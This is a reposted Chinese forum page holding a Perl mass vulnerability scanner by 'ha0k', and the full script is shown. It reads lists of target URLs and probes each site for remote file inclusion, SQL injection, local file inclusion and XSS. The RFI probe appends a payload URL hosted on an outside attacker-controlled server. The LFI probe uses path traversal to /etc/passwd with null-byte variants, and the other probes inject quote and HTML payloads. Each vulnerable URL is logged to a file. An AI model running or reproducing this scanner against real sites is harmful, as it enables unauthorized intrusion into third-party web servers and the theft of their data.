注册
登录
| 关键词： nbsp print Lista 漏洞 content resposta url Request txt 网址 |
#by ha0k#!/usr/bin/perluse LWP::UserAgent;use HTTP::Request;use LWP::Simple;inicio:$sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }system("$cmd");print "###########################################################\n";print "# [漏洞扫描脚本][修改版] #\n";print "# |ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| #\n";print "# 扫描漏洞种类 - RFI, SQL, LFI， XSS. #\n";print "# code by ha0k . #\n";print "# #######just for justice######## #\n";print "# site:http://hi.baidu.com/hackerdsb #\n";print "###########################################################\n\n";print "主菜单:\n\n";print "1. 测试RFI漏洞\n";print "2. 测试SQL漏洞\n";print "3. 测试LFI漏洞\n";print "4. 测试XSS漏洞\n\n";print "目标: ";my $opcao=<STDIN>;if ($opcao==1){&RFI}if ($opcao==2){&SQL}if ($opcao==3){&LFI}if ($opcao==4){&XSS}######## RFI ########sub RFI {print "\n#######\n";print "# RFI #\n";print "#######\n";print "\n输入要测试的网址列表:\n";print "Ex: Sites.txt, Lista.txt etc...\n\n";print "列表中的网址格式如下:\n";print "http://hi.baidu.com/hackerdsb/index.php?pg=\n\n";chomp($lista = <STDIN>);system("$cmd");print "->搜索RFI漏洞，请稍后......\n\n";open(LISTA, "$lista");while(<LISTA>) {my $lista = $_;chomp $lista;my $rfi= "http://hi.baidu.com/hackerdsb/ha0k.txt";my $url=$lista.$rfi;my $req=HTTP::Request->new(GET=>$url);my $ua=LWP::UserAgent->new();$ua->timeout(15);my $resposta=$ua->request($req);if($resposta->content =~ /D3str0y/){print "[+] 存在漏洞 -> $url\n";open(a, ">>LISTA_RFI.txt.txt");print a "$url\n";close(a);}else{ print "[-] 不存在漏洞 <- $url\n"; }}print "\n结果保存在 LISTA_RFI.txt\n";print "\n按 ENTER 键进入主菜单...\n";<STDIN>;goto inicio;}######## SQL ########sub SQL {print "\n#######\n";print "# SQL #\n";print "#######\n";print "\n输入要测试的网址列表:\n";print "Ex: Sites.txt, Lista.txt etc...\n\n";print "列表中的网址格式如下:\n";print "http://hi.baidu.com/hackerdsb/ha0k.php?id=99\n";print "或者:\n";print "http://hi.baidu.com/hackerdsb/ha0k.asp?id=99\n\n";chomp($lista = <STDIN>);system("$cmd");print "->搜索 SQL漏洞... 请稍等...\n\n";open(LISTA, "$lista");while(<LISTA>) {my $lista = $_;chomp $lista;my $sql="'";my $url=$lista.$sql;my $req=HTTP::Request->new(GET=>$url);my $ua=LWP::UserAgent->new();$ua->timeout(15);my $resposta=$ua->request($req);if($resposta->content =~ /You have an error in your SQL syntax/ ||$resposta->content =~ /MySQL server version/ ||$resposta->content =~ /Syntax error converting the nvarchar value/ ||$resposta->content =~ /Unclosed quotation mark before/ ||$resposta->content =~ /SQL Server error/ ||$resposta->content =~ /JET/){print "[+] 漏洞 -> $url\n";open(a, ">>LISTA_SQL.txt");print a "$url\n";close(a);}else{print "[-] 未找到 <- $url\n";}}print "\n结果存放在 LISTA_SQL.txt\n";print "\n按 ENTER 进入主菜单...\n";<STDIN>;goto inicio;}######## LFI ########sub LFI {print "\n#######\n";print "# LFI #\n";print "#######\n";print "\n输入要测试的网址列表:\n";print "Ex: Sites.txt, Lista.txt etc...\n\n";print "列表中的网址格式如下:\n";print "http://hi.baidu.com/hackerdsb/index.php?ha0k=\n\n";chomp($lista = <STDIN>);system("$cmd");print "->搜索 LFI漏洞... 请稍等...\n\n";open(LISTA, "$lista");while(<LISTA>) {my $lista = $_;chomp $lista;@lfi= ('/etc/passwd','/etc/passwd%00','../../../../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../../../etc/passwd%00');foreach $bug(@lfi){my $url=$lista.$bug;my $req=HTTP::Request->new(GET=>$url);my $ua=LWP::UserAgent->new();$ua->timeout(15);my $response=$ua->request($req);if($response->content =~ /root:x:/ ||$response->content =~ /root:*:/ ||$response->content =~ /root:!:/){print "[+] 找到 -> $url\n";open(a, ">>LISTA_LFI.txt");print a "$url\n";close(a);}else{print "[-] 未找到 <- $url\n";}}}print "\n结果存放在 LISTA_LFI.txt\n";print "\n按 ENTER 进入主菜单...\n";<STDIN>;goto inicio;}######## XSS ########sub XSS {print "\n#######\n";print "# XSS #\n";print "#######\n";print "\n输入要测试的网址列表:\n";print "Ex: Sites.txt, Lista.txt etc...\n\n";print "列表中的网址格式如下:\n";print "http://hi.baidu.com/ha0k.php?ha0k=\n\n";chomp($lista = <STDIN>);system("$cmd");print "->搜索 XSS漏洞... 请稍等...\n\n";open(LISTA, "$lista");while(<LISTA>) {my $lista = $_;chomp $lista;my $xss= ('s[1]"><h1>XSS<?');my $url=$lista.$xss;my $req=HTTP::Request->new(GET=>$url);my $ua=LWP::UserAgent->new();$ua->timeout(15);my $response=$ua->request($req);if($response->content =~ /XSS/){print "[+] 漏洞地址 -> $url\n";open(a, ">>LISTA_XSS.txt");print a "$url\n";close(a);}else{print "[-] 为找到 <- $url\n"; }}print "\n结果存放在 LISTA_XSS.txt\n";print "\n按 ENTER 进入主菜单...\n";<STDIN>;goto inicio;} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
